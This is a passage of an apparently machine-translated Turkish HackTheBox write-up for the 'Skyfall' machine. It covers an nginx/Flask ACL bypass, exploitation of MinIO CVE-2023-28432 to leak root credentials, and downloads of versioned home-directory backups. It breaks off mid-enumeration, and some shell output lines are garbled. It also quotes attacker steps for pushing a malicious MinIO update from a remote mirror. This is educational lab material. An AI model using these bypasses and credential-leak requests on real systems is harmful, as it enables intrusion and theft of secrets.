TR | EN | DE | Our Site

Skyfall - HTB - Write Up

 Skyfall Hakkında

Skyfall, `MinIO` adlı bir S3 nesne depolama hizmetinin desteklediği yeni beta bulut depolama uygulamasını piyasaya süren bir şirketin yer aldığı bir Insane Linux makinesidir. Web uygulaması Flask ile Python'da yazılmıştır. Yapılandırmasına özgü bir `Nginx` ACL ve Flask'a özgü baypasa karşı savunmasız olan sitenin kısıtlı bir bölümüne sahiptir. Kısıtlı bölüm, dahili ana bilgisayar adlarını ve bilgi ifşası için bilinen bir güvenlik açığı olan `MinIO` sürümünü ifşa eden bir `MinIO` kümesi için Prometheus ölçümlerini içerir `[ CVE-2023-28432 ]. Bu bilgi ifşası, barındırdığı S3 kovalarına erişime izin veren `MinIO` kök kimlik bilgilerini sızdırır. Bu kimlik bilgileriyle `MinIO istemcisi` kullanılarak, bir kullanıcının kovasındaki bir dosya, sürüm geçmişine sahip bir ana dizin yedeği içerir. Bu sürümlerden biri dahili bir `Hashicorp Vault` örneği için bir `Vault` belirteci içerir ve `Vault` politikalarını bu belirteçle numaralandırarak SSH OTP için yapılandırıldığı belirtilir. Oyuncunun SSH erişimi elde etmek için Vault'tan bir OTP istemesi gerekir. Kullanıcının, `Hashicorp Vault`'u açığa çıkaracak ikilinin yürütülmesine izin veren bir `sudo` kuralı vardır, böylece kullanıcı belirli belirteçlerine ve sırlarına erişebilir. `sudo` kuralı, bu ikiliyi `root`'a ait bir `debug.log` dosyası üreten bir bayrakla çalıştırmamızı sağlar. Oyuncunun ``sshfs`` kullanarak bir `Fuse` bağlantısını kullanarak Linux izinlerini atlatmak için bu dosyaları dışarı aktarması gerekir. Bu dosya `Hashicorp Vault` örneği için bir kök belirteci ortaya çıkarır ve SSH üzerinden `root` olarak oturum açmak için bir OTP üretmek için kullanılabilir.

Kutu Bilgisi

İsimGökyüzü düşüşü
Skyfall  -  HackTheBox'ta Oyna
Yayın tarihi03 Şub 2024
Emeklilik TarihiAğustos 2024
İşletim SistemiLinux Linux
Temel PuanlarDeli [50]
Derecelendirilmiş ZorlukSkyfall için derecelendirilmiş zorluk
Radar GrafiğiSkyfall için radar grafiği


İlgili Konular

Web Uygulaması
- Güvenlik Açığı Değerlendirmesi
- İlgi Alanı

Güvenlik Araçları
- Özel Uygulamalar
- Ortak Uygulamalar

Güvenlik Açıkları
- Anonim/Misafir Erişimi
- Açık Metin Kimlik Bilgileri
- Bilgi Açıklaması

Diller
- Vuruş

Keşif

nmap

nmap iki açık TCP portu bulur, SSH (22) ve HTTP (80):
aurora@feniks$ nmap -p 22,80 -sCV 10.10.11.254
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-23 16:55 EDT
Nmap scan report for 10.10.11.254
Host is up (0.085s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.79 secondsBased on the [OpenSSH](https://packages.ubuntu.com/search?keywords=openssh-server) version, the host is likely running Ubuntu 22.04 jammy.

Web Sitesi - TCP 80



Sayfadaki bağlantıların çoğu sayfadaki diğer yerlere gidiyor. Ortada 'a giden bir tane var  demo.skyfall.htb. Ayrıca bazı isimler / e-postalar da var:

  • James Bond (CEO) - jbond@skyfall.htb
  • Aurora Skyy (Baş Geliştirici) - askyy@skyfall.htb
  • Bill Tanner (CTO) - btanner@skyfall.htb
  • contact@skyfall.com

Alt tarafta bize ulaşın formu var ama aslında hiçbir işe yaramıyor gibi görünüyor.

Teknoloji Yığını

HTTP yanıt başlıkları nginx sürümünün ötesinde pek fazla bilgi vermiyor:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 23 Aug 2024 20:58:47 GMT
Content-Type: text/html
Last-Modified: Thu, 09 Nov 2023 20:44:23 GMT
Connection: keep-alive
ETag: W/"654d44a7-5097"
Content-Length: 20631

Ana sayfa  index.htmlstatik bir site olduğunu öne sürerek yükleniyor. 404 sayfası varsayılan nginx sayfası. Nginx 1.18.0 olduğunu belirteyim.

Dizin Kaba Kuvvet

feroxbuster Siteye karşı  yarışacağım  ve şunları ekleyeceğim -x html:
aurora@feniks$ feroxbuster -u http://10.10.11.254 -x html
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.254
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      501l     1612w    20631c http://10.10.11.254/
301      GET        7l       12w      178c http://10.10.11.254/assets => http://10.10.11.254/assets/
301      GET        7l       12w      178c http://10.10.11.254/assets/js => http://10.10.11.254/assets/js/
301      GET        7l       12w      178c http://10.10.11.254/assets/css => http://10.10.11.254/assets/css/
301      GET        7l       12w      178c http://10.10.11.254/assets/img => http://10.10.11.254/assets/img/
200      GET      501l     1612w    20631c http://10.10.11.254/index.html
301      GET        7l       12w      178c http://10.10.11.254/assets/img/clients => http://10.10.11.254/assets/img/clients/
301      GET        7l       12w      178c http://10.10.11.254/assets/img/portfolio => http://10.10.11.254/assets/img/portfolio/
301      GET        7l       12w      178c http://10.10.11.254/assets/img/team => http://10.10.11.254/assets/img/team/
301      GET        7l       12w      178c http://10.10.11.254/assets/vendor => http://10.10.11.254/assets/vendor/
301      GET        7l       12w      178c http://10.10.11.254/assets/vendor/aos => http://10.10.11.254/assets/vendor/aos/
[####################] - 3m    300000/300000  0s      found:11      errors:0
[####################] - 3m    300000/300000  0s      found:11      errors:0
[####################] - 2m     30000/30000   291/s   http://10.10.11.254/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/js/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/css/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/clients/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/portfolio/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/img/team/
[####################] - 2m     30000/30000   292/s   http://10.10.11.254/assets/vendor/
[####################] - 2m     30000/30000   291/s   http://10.10.11.254/assets/vendor/aos/ 

İlginç bir şey yok.

Alt Alan Adı Kaba Kuvveti  ve 
alan adlarının kullanımı göz önüne alındığında  ,  diğer alt alan adlarının farklı tepki verip vermediğini görmek için kaba kuvvet uygulayacağım  :skyfall.htbdemo.skyfall.htbffuf
aurora@feniks$ ffuf -u http://10.10.11.254 -H "Host: FUZZ.skyfall.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.254
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.skyfall.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

demo                    [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 151ms]
:: Progress: [19966/19966] :: Job [1/1] :: 458 req/sec :: Duration: [0:00:43] :: Errors: 0 ::Only `demo`. I’ll add both to my `/etc/hosts` file:
10.10.11.254 skyfall.htb demo.skyfall.htb
demo.skyfall.htb - TCP 80
Sitesi
Site bir giriş sayfası sunuyor:



Bir demo sitesi olduğu için, guest / misafir kimlik bilgilerinin çalışması gerektiğine dair bir not var ve çalışıyorlar:

Bu sayfada birçok özellik var. Yukarıdaki Pano sayfası ( /index) yararlı hiçbir şeye sahip değil. "Dosyalar" sayfası ( /files) tek bir dosyaya ve daha fazlasını yükleme seçeneğine sahip:

PDF hizmeti anlatıyor, ancak çok ilgi çekici bir şey yok. Bir dosya yükleyebilirim:

Beta Özellikleri sayfası ( /beta) yetkilendirilmemiş bir mesaj döndürüyor:

URL Getirme sayfası ( /fetch), bir URL'den dosya yüklemek için bir form sunar: Eğer ona IP adresimin URL'sini verirsem, ona ulaşacaktır:

10.10.11.254 - - [23/Ağustos/2024 17:26:37] kod 404, mesaj Dosya bulunamadı

10.10.11.254 - - [23/Aug/2024 17:26:37] "GET /test.png HTTP/1.1" 404 -

Eğer var olan bir dosyaya URL verirsem, o dosya Dosyalar sayfasında gösterilir. MinIO Metrikleri sayfası ( /metrics) nginx 403 Yasak döndürür. Geri Bildirim sayfası ( /feedback) bir form sunar:

Gönderme, içeriği bir POST'ta 'e gönderir  /feedback, ancak herhangi bir şey olacağına dair bir gösterge yoktur. Yükseltme sayfasının ( /escalate) başka bir biçimi vardır:

Bunu gönderdiğinizde, bakmalarının en az 24 saat süreceği mesajını görürsünüz:

CTF'de bunu kovalamaya değmez gibi görünüyor.

Teknoloji Yığını

Sitenin Python web framework Flask'ta çalıştığını belirten bir alt bilgisi var: HTTP başlıkları başka bir şey göstermiyor. Özel bir 404 sayfası var:  nc URL Getirme sayfasından gelen web isteklerinden birini yakalamak için Python İstekleri'ni kullanırsam, bunun Flask olduğu fikrine uyuyor:



GET /htb.png HTTP/1.1
Host: 10.10.14.6
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

MinIO referansı sistemin depolama için MinIO kullandığını öne sürüyor   . MinIO, S3 ile uyumlu bir kurumsal depolama nesne deposudur.


Dizin Kaba Kuvvet

feroxbuster daha önce karşılaşmadığım bir şey bulamadım:
aurora@feniks$ feroxbuster -u http://demo.skyfall.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://demo.skyfall.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        1l       35w      352c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        1l       23w      217c http://demo.skyfall.htb/ => http://demo.skyfall.htb/login
302      GET        1l       23w      217c http://demo.skyfall.htb/logout => http://demo.skyfall.htb/login
200      GET        9l      234w     3674c http://demo.skyfall.htb/login
403      GET        7l       10w      162c http://demo.skyfall.htb/metrics
[####################] - 4m     30000/30000   0s      found:4       errors:0
[####################] - 4m     30000/30000   129/s   http://demo.skyfall.htb/ 

Kabuk askyy

MinIO Alanını Bul
Ayrıştırma Sorununu Belirle Block on  ve on 
arasındaki fark   üzerinde düşünmeye değer:/beta/metrics
AlanHTTP Cevap Koduİçerik
/beta200 TamamÖzel Kısıtlı Sayfa
/metrics403 Yasaknginx 403 Sayfası

Bunu düşünmek ve araştırmak beni Rafa'nın Blog'undan güzel bir yazıya götürüyor,  HTTP Ayrıştırıcı Tutarsızlıklarını Kullanmak . Şuna benzeyen bir nginx yapılandırmasından bahsediyor:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

Ve farklı uygulamaların (Flask dahil) URL'leri ayrıştırmada nasıl farklılaştığına bakar. Sorun, nginx ve Flask'ın URL'leri nasıl normalleştirdiğidir. nginx'in URL'den çıkarmadığı ancak Flask'ın çıkardığı karakterler vardır, örneğin  \x85. Yukarıdaki örneği gönderirsem  , nginx bunun  veya ile  /admin\x85 eşleşmediğini görür  ve isteği Flask'a iletir. Ancak Flask ve öğesini çıkarır   ve ardından , engellenmemiş olarak çözer  ! Nginx'in farklı sürümlerini ve birçok farklı uygulama sunucusu için hangi karakterlerin bir baypas oluşturduğunu gösteren güzel özet tablolar vardır. Flask şu şekildedir:/admin/admin/\x85/admin

resim20240824071336306

Bunu biraz daha derinlemesine incelemek gerekirse,   URL'yi  flask çağırmak  ve bu StackOverflow cevabının da  güzel bir şekilde açıkladığı gibi, bu varsayılan olarak 1.20.2 sürümünden ve öncesinden karakterlerin tam listesini kaldırır.strip

Baypas

Skyfall'un nginx 1.18.0 olduğu düşünüldüğünde, birçok seçenek var. Bunların hepsi alışılmadık ASCII olmayan karakterler, bu yüzden onları yola sokmak biraz zor. Bulduğum en iyi yöntem Burp Repeater'daydı. Yolun sonuna görebildiğim bir karakter ("X") ekleyeceğim:


Daha sonra “Hex” sekmesine geçin ve “58”den “85”e kadar düzenleyin:

Ne yazık ki işe yaramıyor.  Bunun sebebinin yığının nginx –> Flask değil, nginx –> gunicorn –> Flask olması olduğunu düşünüyorum  ve gunicorn ek normalizasyon gerçekleştiriyor olabilir. Listedeki diğerlerini deneyeceğim ve  0x0c işe  0x0b yarayacak:

0x09 (sekme) ve  0x0a (yeni satır) ikisi de burada iyi çalışıyor. Burada bir ton veri var, ancak ilginç olan ikisi  minio_software_version_info "sürüm: 2023-03-13T19:46:17Z" ve diğeri  minio_endpoint_url .  http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/clusterBunu dosyama ekleyeceğim  hosts :
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb

URL'yi ziyaret ettiğinizde MinIO kümesi hakkında bilgi edinebilirsiniz:

Alternatif Baypas

İlginçtir ki, ziyaret etmek  /metrics%0a de işe yarıyor. Flask'ın (veya sunucudaki başka bir şeyin) neden kod çözerken  %0a diğerlerinin çözmediğini anlamak  benim için çok da açık değil %0C, ancak çözüyor:

Kasayı Bul

CVE Analizi

MinIO'nun bu sürümündeki güvenlik açıklarını araştırdığımızda karşımıza çıkan ilk sonuç MinIO'nun CVE-2023-28432 ve CVE-2023-28434'ten bahsetmesidir:

CVE-2023-28432 uyarısında şu   ifadeler yer alıyor:

Bir küme dağıtımında MinIO,  MINIO_SECRET_KEY ve  dahil olmak üzere tüm ortam değişkenlerini döndürerek MINIO_ROOT_PASSWORDbilgi ifşasına neden olur.

Bu yeterince basit görünüyor. Tüm ortam değişkenlerini boşaltın. Ve hiçbir geçici çözüm olmadığını söylüyor.  CVE-2023-28434 için tavsiye  şöyle diyor:

Bir saldırgan, meta veri kovası adı denetimini atlatmak ve işleme sırasında bir nesneyi herhangi bir kovaya koymak için hazırlanmış istekleri kullanabilir  PostPolicyBucket. Bu saldırıyı gerçekleştirmek için saldırganın  arn:aws:s3:::* izinli kimlik bilgilerine ve etkinleştirilmiş Konsol API erişimine ihtiyacı vardır.

Bu, .MinIO gönderisinin Security Joes'un Buluttaki Yeni Saldırı Vektörü: Nesne Depolama Hizmetlerini istismar ederken yakalanan saldırganlarMINIO_BROWSER=off başlıklı gönderisine bağlantı vermesiyle  önlenebilir  . Bu gönderide , gördükleri gerçek dünya saldırıları hakkında ayrıntılı bilgi veriliyor.

Güvenlik açığı olan bir MinIO örneğinde kod yürütmeyi başarmak için gereken tüm adımlar aşağıda açıklanmıştır: 1. Yönetici hesabının kimlik bilgilerini açığa çıkarmak için /minio/bootstrap/v1/verify uç noktasına POST isteği. 2. Saldırgan, 1. Adımda alınan kimlik bilgilerini kullanarak güvenlik açığı olan örnekle etkileşime girecek şekilde bir MinIO istemcisi yapılandırır. Bunun için aşağıdaki komut satırları gereklidir:

mc alias set [ALIAS] [URL_TARGET_MINIO] [ACCESS_KEY] [SECRET_KEY]
mc alias list

3. Saldırganlar, uzak bir sunucuda barındırılan kötü amaçlı bir yükü işaret ederek tehlikeye atılmış MinIO örneğinde güncelleme sürecini tetikler. Bunun için aşağıdaki komut yürütülür.

mc admin update [ALIAS] [MIRROR_URL] --yes

4. Saldırganın ana bilgisayarda komutlar yürütmesine olanak tanıyan küresel bir arka kapı içeren “Evil” MinIO kuruldu.

1. Adım CVE-2023-28432'dir.

CVE-2023-28432

Bir Python POC açığı var   (Skyfall'un yayınlanmasından bir yıl önce yayınlanmış) ama onu çalıştırmam gerekmiyor. Tek yaptığı,  /minio/bootstrap/v1/verify örneğe bir POST isteği göndermek:

aurora@feniks$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
aurora@feniks$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify -s | jq .
{
  "MinioEndpoints": [
    {
      "Legacy": false,
      "SetCount": 1,
      "DrivesPerSet": 4,
      "Endpoints": [
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node1:9000",
          "Path": "/data1",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": false
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node2:9000",
          "Path": "/data1",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": true
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node1:9000",
          "Path": "/data2",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": false
        },
        {
          "Scheme": "http",
          "Opaque": "",
          "User": null,
          "Host": "minio-node2:9000",
          "Path": "/data2",
          "RawPath": "",
          "OmitHost": false,
          "ForceQuery": false,
          "RawQuery": "",
          "Fragment": "",
          "RawFragment": "",
          "IsLocal": true
        }
      ],
      "CmdLine": "http://minio-node{1...2}/data{1...2}",
      "Platform": "OS: linux | Arch: amd64"
    }
  ],
  "MinioEnv": {
    "MINIO_ACCESS_KEY_FILE": "access_key",
    "MINIO_BROWSER": "off",
    "MINIO_CONFIG_ENV_FILE": "config.env",
    "MINIO_KMS_SECRET_KEY_FILE": "kms_master_key",
    "MINIO_PROMETHEUS_AUTH_TYPE": "public",
    "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
    "MINIO_ROOT_PASSWORD_FILE": "secret_key",
    "MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
    "MINIO_ROOT_USER_FILE": "access_key",
    "MINIO_SECRET_KEY_FILE": "secret_key",
    "MINIO_UPDATE": "off",
    "MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
  }
}

MINIO_BROWSER=offÖnemli olan root kullanıcısı 5GrE1B2YGGyZzNHZaIww ve root şifresi “GkpjkmiVmpFuL2d3oRx0”. Ayrıca bir sonraki exploiti engelleyen 'yi de belirteyim  .

MinIO İstemcisini Kur

Belirli bir MinIO örneğiyle etkileşim kurmak için bir MinIO istemcisi var  . Buradakimc talimatları kullanarak indireceğim  . Sonra bağlanmak için gerekli anahtarlarla bir takma ad oluşturuyorum:
aurora@feniks$ mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Added `skyfall` successfully.

Daha sonra şu komutla bağlantıyı test etmemiz gerekiyor:

aurora@feniks$ mc admin info skyfall
mc: <ERROR>  Unable to display service info, server is too old

Şunu çalıştırabilirim  ls:

aurora@feniks$ mc ls skyfall
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-07 19:08:01 EST]     0B guest/
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-07 23:58:45 EST]     0B rsilva/#### MinIO Enumeration

ls -r kümedeki tüm dosyaları yinelemeli olarak gösterecektir:

aurora@feniks$ mc ls -r skyfall
[2023-11-08 00:35:28 EST]  48KiB STANDARD askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD askyy/home_backup.tar.gz
[2023-11-08 00:35:36 EST]  48KiB STANDARD btanner/Welcome.pdf
[2023-11-08 00:35:56 EST]  48KiB STANDARD emoneypenny/Welcome.pdf
[2023-11-08 00:36:02 EST]  48KiB STANDARD gmallory/Welcome.pdf
[2023-11-07 19:08:05 EST]  48KiB STANDARD guest/Welcome.pdf
[2024-08-23 17:27:13 EDT] 4.4KiB STANDARD guest/htb.png
[2023-11-08 00:35:45 EST]  48KiB STANDARD jbond/Welcome.pdf
[2023-11-08 00:36:09 EST]  48KiB STANDARD omansfield/Welcome.pdf
[2023-11-08 00:35:51 EST]  48KiB STANDARD rsilva/Welcome.pdfBesides the `Welcome.pdf` files that are all the same size, there’s two files (one of which I uploaded, `htb.png`). askyy is the lead developer. I’ll grab their `home_backup.tar.gz`:
aurora@feniks$ mc cp skyfall/askyy/home_backup.tar.gz .
...fall.htb/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 6.80 KiB/s 0s

Bunu çıkarıp bir bakayım:

aurora@feniks$ tar xf home_backup.tar.gz -C home_backu
aurora@fenikscky$ find home_backup/ -type f
home_backup/.ssh/authorized_keys
home_backup/.cache/motd.legal-displayed
home_backup/.bash_logout
home_backup/.profile
home_backup/.bashrc
home_backup/.sudo_as_admin_successful
home_backup/.bash_historyThere’s nothing interesting there.

MinIO'ya geri dönersem önceki sürümlere bakabilirim:

aurora@feniks$ mc ls -r --versions skyfall 
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-08 00:35:28 EST]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-08 00:35:36 EST]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-08 00:35:56 EST]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-08 00:36:02 EST]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 19:08:01 EST]     0B guest/
[2023-11-07 19:08:05 EST]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2024-08-23 17:27:13 EDT] 4.4KiB STANDARD null v1 PUT guest/htb.png
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-08 00:35:45 EST]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-08 00:36:09 EST]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-07 23:58:45 EST]     0B rsilva/
[2023-11-08 00:35:51 EST]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdfThe home backup files all are different size. I’ve already got v3. I’ll look at v2 and v1:
aurora@feniks$ mc cp --version-id 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz ./home_backup_v2.tar.gz
...fall.htb/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 7.27 KiB/s aurora@fenikscky$ mc cp --version-id 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz ./home_backup_v1.tar.gz
...fall.htb/askyy/home_backup.tar.gz: 1.18 MiB / 1.18 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.21 MiBaurora@feniks@hacky$ mkdir home_baurora@feniksxdf@hacky$ mkdir homaurora@feniks1
aurora@feniks$ tar -xf home_backup_v2.tar.gz -C aurora@feniksp_v2
aurora@feniks$ tar -xf home_backup_v1.tar.gz -C home_backup_v1

Sürüm 1'de büyük bir  .bash_history dosya ve bir  terraform-generator dizin var:

aurora@feniks$  ls -la home_backup_v1
total 48
drwxrwx--- 1 root vboxsf  4096 Nov  9  2023 .
drwxrwx--- 1 root vboxsf  4096 Aug 24 16:31 ..    
-rwxrwx--- 1 root vboxsf 10296 Nov  8  2023 .bash_history
-rwxrwx--- 1 root vboxsf   220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf  3771 Jan  6  2022 .bashrc
drwxrwx--- 1 root vboxsf  4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf   807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf  4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf     0 Oct  9  2023 .sudo_as_admin_successful
drwxrwx--- 1 root vboxsf  4096 Nov  9  2023 terraform-generator
-rwxrwx--- 1 root vboxsf     1 Nov  9  20```
aurora@feniks$ ls -la home_backup
total 32
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:15 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:31 ..
-rwxrwx--- 1 root vboxsf    1 Nov  9  2023 .bash_history
-rwxrwx--- 1 root vboxsf  220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Nov  9  2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf  807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf    0 Oct  9  2023 .sudo_as_admin_successful

Bunların ikisinde de ilginç bir şey yok. v2'de aynı dosyalar var ve tek fark  .bashrc dosyanın biraz daha büyük olması:

aurora@feniks$ ls -la home_backup_v2
total 32
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:38 ..
